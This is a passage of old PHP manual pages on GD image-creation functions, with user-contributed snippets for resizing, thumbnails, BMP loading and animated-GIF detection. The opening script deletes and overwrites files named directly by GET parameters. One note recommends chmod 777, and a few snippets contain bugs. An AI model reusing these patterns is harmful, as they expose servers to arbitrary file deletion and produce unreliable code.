    in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
    can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
    and another upload directory

    */

    $dir_name = "FooBar";  // Enter the name of the directory that contains the images
    $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
    $dir = opendir($dir_name); //make a directory handle
    //To delete a picture
    if(isset($_GET['delpic'])){
        chdir('images');
        $delpic = $_GET['delpic'];
        @unlink($delpic);
        chdir($olddir);
    }
    //To resize a picture
    if(isset($_GET['resize'])){
        //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
        // File and new size
        $percent = ($_GET['resize']/100);
        chdir('images');// change the windows directory to the image directory
        $filename = $_GET['resizepic'];

        // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
        // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
        $format='';
        if(preg_match("/.jpg/i", "$filename")){
            $format = 'image/jpeg';
            header('Content-type: image/jpeg');
        }
        if (preg_match("/.gif/i", "$filename")){
            $format = 'image/gif';
            header('Content-type: image/gif');
        }
        if($format!=''){  //This is where the actual resize process begins...
            // Get new sizes
            list($width, $height) = getimagesize($filename);
            $newwidth = $width * $percent;
            $newheight = $height * $percent;

            // Load the image
            switch($format){
                case 'image/jpeg':
                    $source = imagecreatefromjpeg($filename);
                break;
                case 'image/gif';
                    $source = imagecreatefromgif($filename);
                break;
            }
            //Get the Image
            $thumb = imagecreatetruecolor($newwidth,$newheight);
            //This must be set to false in order to be able to overwrite the black
            //pixels in the background with transparent pixels. Otherwise the new
            //pixels would just be applied on top of the black background.
            imagealphablending($thumb, false);
            //Make a temporary file handle
            $source = @imagecreatefromjpeg($filename);
            // Resize
            imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
            //Write the image to the destination file
            @imagejpeg($thumb, $filename);
            //Change back to the old directory... I'm not sure that this is neccessary
            chdir($olddir);
            //Specify where you want the user to go after the operation:
            header('Location: foobar.php');
        }
    }

?>
marcy DOT xxx (AT) gmail.com 02-Jan-2005 08:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "jpg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
case "jpeg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "png":
    $function_image_create = "ImageCreateFromPng";
    $function_image_new = "ImagePNG";
break;
case "gif":
    $function_image_create = "ImageCreateFromGif";
    $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
backglancer at hotmail 14-Dec-2004 04:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
        $r = $oh/$ow;
        $new_h = ($oh > $ow) ? $max : $max*$r;
        $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de 28-Nov-2000 04:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.


Create a new palette based image

  • « imagecopyresized
  • imagecreatefromgd2 »
  • PHP Manual
  • GD and Image Functions
  • Create a new palette based image

imagecreate

(PHP 4, PHP 5)

imagecreate — Create a new palette based image

Description

resource imagecreate ( int $width , int $height )

imagecreate() returns an image identifier representing a blank image of specified size.

In general, we recommend the use of imagecreatetruecolor() instead of imagecreate() so that image processing occurs on the highest quality image possible. If you want to output a palette image, then imagetruecolortopalette() should be called immediately before saving the image with imagepng() or imagegif().

Parameters

width

The image width.

height

The image height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Creating a new GD image stream and outputting an image.

<?php
header("Content-Type: image/png");
$im = @imagecreate(110, 20)
    or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 0, 0, 0);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Creating a new GD image stream and outputting an image.

See Also

  • imagedestroy() - Destroy an image
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

JamesM 26-Mar-2010 09:03
doesnt ruin the image but adds display to the output.
this will generate an image with a random color. if you like it you can use it because you have the RBG result too.
<?php
header("content-type:image/png");
$im = imagecreate(100, 100);
$a = sprintf('%04x',mt_rand(0, 65535));
$b = sprintf('%04x',mt_rand(0, 65535));
$c = sprintf('%04x',mt_rand(0, 65535));
$white = imagecolorallocate($im,$a,$b,$c);
imagepng($im);
imagedestroy($im);
echo "\n\n\n$a-$b-$c";
?>
sk89q 14-Mar-2008 11:14
Loads a file based on its filetype and returns false if it fails.

<?php
function imagecreatefromfile($path, $user_functions = false)
{
    $info = @getimagesize($path);

    if(!$info)
    {
        return false;
    }

    $functions = array(
        IMAGETYPE_GIF => 'imagecreatefromgif',
        IMAGETYPE_JPEG => 'imagecreatefromjpeg',
        IMAGETYPE_PNG => 'imagecreatefrompng',
        IMAGETYPE_WBMP => 'imagecreatefromwbmp',
        IMAGETYPE_XBM => 'imagecreatefromwxbm',
        );

    if($user_functions)
    {
        $functions[IMAGETYPE_BMP] = 'imagecreatefrombmp';
    }

    if(!$functions[$info[2]])
    {
        return false;
    }

    if(!function_exists($functions[$info[2]]))
    {
        return false;
    }

    return $functions[$info[2]]($path);
}
?>
scottlindh pwnd at hushmail dot com 19-Aug-2007 07:40
to install on UBUNTU do the following..

sudo apt-get install php5-gd

After installing the package I restarted the apache

sudo /etc/init.d/apache reload

goto love ubuntu...
Sohel Taslim 25-Jul-2007 09:22
It is easy and simple example to convert Text to Image with selected font.
It helps me to display Bangla text as image when users have no installed bangla font.

I hope it can help you too!

<?php
//Kip the font file together or write proper location.
makeImageF("Life in PHP.","CENTURY.TTF");

function makeImageF($text, $font="CENTURY.TTF", $W=200, $H=20, $X=0, $Y=0, $fsize=18, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

    $im = @imagecreate($W, $H)
        or die("Cannot Initialize new GD image stream");

    $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
    $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

    imagettftext($im, $fsize, $X, $Y, $fsize, $text_color, $font, $text);

    header("Content-type: image/gif");
    return imagegif($im);
}

?>
help at nanomc dot com 08-Nov-2005 08:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
    {
    $graph_x[$i] = $i;
    $graph_y[$i] = $i * $i;
    }

    $min_x = 9e99;
    $min_y = 9e99;
    $max_x = -9e99;
    $max_y = -9e99;

    $avg_y = 0.0;

    for($i = 0; $i < $graph_n; $i++ )
        {
        if( $graph_x[$i] < $min_x )
            $min_x = $graph_x[$i];

        if( $graph_x[$i] > $max_x )
            $max_x = $graph_x[$i];

        if( $graph_y[$i] < $min_y )
            $min_y = $graph_y[$i];

        if( $graph_y[$i] > $max_y )
            $max_y = $graph_y[$i];

        $avg_y += $graph_y[$i];
        }

    $avg_y = $avg_y / $graph_n;

    $min_x = 0;
    $min_y = 0;
    $max_x += $max_x * 0.05;
    $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold 15-Jun-2005 11:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:   DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:     The 15th of June 2005           */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des ent�tes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des ent�tes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
    $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Cr�ation de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
    $X=0;
    while ($X < $BMP['width'])
    {
     if ($BMP['bits_per_pixel'] == 24)
        $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
        $COLOR = unpack("n",substr($IMG,$P,2));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if     (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
        elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
        elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
        elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
        elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
        elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
        elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
        elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
        return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
    }
    $Y--;
    $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
05-Jan-2005 10:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
    //calculate thumb size
            $ow = imagesx($im);
            $oh = imagesy($im);
            $maxh = 100;
            $maxw = 150;
            $new_h = $oh;
            $new_w = $ow;

            if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
            }

            //create dst image
            $dst_img = ImageCreateTrueColor($new_w,$new_h);
            //resize and copy image
            ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
            $function_image_new($dst_img,$galdir.$file);
?>
cstevens at gencom dot us 21-Apr-2004 01:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
    # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

    /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net 13-Apr-2004 01:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com 03-Dec-2003 08:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz 21-Oct-2003 05:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com 29-Aug-2002 11:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com 17-May-2002 07:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de 08-Feb-2002 05:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee 08-Jul-2001 06:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net 06-Jul-2001 02:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net 20-Apr-2001 01:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr 09-Feb-2001 12:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org 14-Dec-2000 01:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!


Create a new image from GD2 file or URL

  • « imagecreate
  • imagecreatefromgd2part »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from GD2 file or URL

imagecreatefromgd2

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd2 — Create a new image from GD2 file or URL

Description

resource imagecreatefromgd2 ( string $filename )

Create a new image from GD2 file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD2 image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd2() example

<?php
// Load the gd2 image
$im = imagecreatefromgd2('./test.gd2');

// Apply an effect on the image, in this
// case negate the image if PHP 5+
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_NEGATE);
}

// Save the image
imagegd2($im, './test_updated.gd2');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.


Create a new image from a given part of GD2 file or URL

  • « imagecreatefromgd2
  • imagecreatefromgd »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from a given part of GD2 file or URL

imagecreatefromgd2part

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL

Description

resource imagecreatefromgd2part ( string $filename , int $srcX , int $srcY , int $width , int $height )

Create a new image from a given part of GD2 file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD2 image.

srcX

x-coordinate of source point.

srcY

y-coordinate of source point.

width

Source width.

height

Source height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd2part() example

<?php
// For this example we need the image size before
$image = getimagesize('./test.gd2');

// Create the image instance now we got the image
// sizes
$im = imagecreatefromgd2part('./test.gd2', 4, 4, ($image[0] / 2) - 6, ($image[1] / 2) - 6);

// Do an image operation, in this case we emboss the
// image if PHP 5+
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_EMBOSS);
}

// Save optimized image
imagegd2($im, './test_emboss.gd2');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.


Create a new image from GD file or URL

  • « imagecreatefromgd2part
  • imagecreatefromgif »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from GD file or URL

imagecreatefromgd

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd — Create a new image from GD file or URL

Description

resource imagecreatefromgd ( string $filename )

Create a new image from GD file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD file.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd() example

<?php
// Load the gd image
$im = @imagecreatefromgd('./test.gd');

// Test if the image was loaded
if(!is_resource($im))
{
     die('Unable to load gd image!');
}

// Do image operations here

// Save the image
imagegd($im, './test_updated.gd');
imagedestroy($im);
?>

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.


Create a new image from file or URL

  • « imagecreatefromgd
  • imagecreatefromjpeg »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefromgif

(PHP 4, PHP 5)

imagecreatefromgif — Create a new image from file or URL

Description

resource imagecreatefromgif ( string $filename )

imagecreatefromgif() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GIF image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a GIF

<?php
function LoadGif($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromgif($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im = imagecreatetruecolor (150, 30);
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc = imagecolorallocate ($im, 0, 0, 0);

        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring ($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/gif');

$img = LoadGif('bogus.image');

imagegif($img);
imagedestroy($img);
?>

The above example will output something similar to:

Output of example : Example to handle an error during loading of a GIF

Notes

Note:

GIF support was removed from the GD library in Version 1.6, and added back in Version 2.0.28. This function is not available between these versions.

Note:

When reading animated GIF files into memory, only the first frame is returned in the image resource pointer.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

Anonymous 06-Sep-2013 05:27
Using the following script to generate(keep) animated GIF, it fixs GD lib animation problem.
http://www.gdenhancer.com/
ZeBadger 18-Apr-2013 06:17
The version of is_ani that reads the file in 100Kb chunks is flawed as the end of frame marker might be split in between 2 chunks - so be careful.
frank at huddler dot com 16-Jun-2011 09:25
An updated is_ani based on issues reported here and elsewhere

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2) {
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
   }

    fclose($fh);
    return $count > 1;
}
?>
Malcolm Murphy 14-Mar-2011 09:59
Hopefully this might save someone a headache when using functions to check for animated GIFs.

I have come across some some GIFs use the a different frame separator sequence, \x00\x21, instead of the official standard \x00\x2C. This seems to be happening with animated GIFs saved in Photoshop CS5, although I'm not quite sure if that's where the issue is originating from.

Anyway, I've been using the pattern:
"#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s"
which seems to cover all GIFs, hopefully without misinterpreting.

Cheers.
moxley at moxleydata dot com 10-Oct-2006 02:40
I wanted to find out if a GIF is Black & White or Color, but I didn't want to wait around for imagecreatefromgif() to parse a 200k file (about 1 second) to get the color map, so I wrote this function to get a list of all the colors in the GIF. Hope it is useful for you.

<?php
function getGIFColorMap($file)
{
   $fp = fopen($file, 'r');
   $buf = fread($fp, 1024);
   fclose($fp);

   // Calculate number of colors
   // buf[10] is the color info byte
   $color_byte = ord($buf[10]);
   $has_color_map = ($color_byte >> 7) & 1;
   $color_res = (($color_byte >> 4) & 7) + 1;
   $bits_per_pixel = ($color_byte & 7) + 1;
   $color_count = 1 << $bits_per_pixel;

   if (!$has_color_map) return null;

   // buf[13] is the beginning of the color map
   $color_map_index = 13;
   $map = array();
   for ($i=0; $i < $color_count; $i++) {
       $index = $color_map_index + $i*3;
       $r = ord($buf[$index]);
       $g = ord($buf[$index + 1]);
       $b = ord($buf[$index + 2]);
       $map[$i] = array($r, $g, $b);
   }
   return $map;
}
?>
ZeBadger 15-Dec-2005 06:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
        $filecontents=file_get_contents($filename);

        $str_loc=0;
        $count=0;
        while ($count < 2) # There is no point in continuing after we find a 2nd frame
        {

                $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
                if ($where1 === FALSE)
                {
                        break;
                }
                else
                {
                        $str_loc=$where1+1;
                        $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                        if ($where2 === FALSE)
                        {
                                break;
                        }
                        else
                        {
                                if ($where1+8 == $where2)
                                {
                                        $count++;
                                }
                                $str_loc=$where2+1;
                        }
                }
        }

        if ($count > 1)
        {
                return(true);

        }
        else
        {
                return(false);
        }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
        if (is_ani($thisfile))
        {
                echo "$thisfile is animated<BR>\n";
        }
        else
        {
                echo "$thisfile is NOT animated<BR>\n";
        }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de 25-Oct-2005 09:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz 06-Apr-2004 11:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net 08-Oct-2003 05:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 01:26
function LoadGif ($imgname) {
    $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
    if (!$im) { /* See if it failed */
        $im = ImageCreate (150, 30); /* Create a blank image */
        $bgc = ImageColorAllocate ($im, 255, 255, 255);
        $tc  = ImageColorAllocate ($im, 0, 0, 0);
        ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
18-Apr-2003 06:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
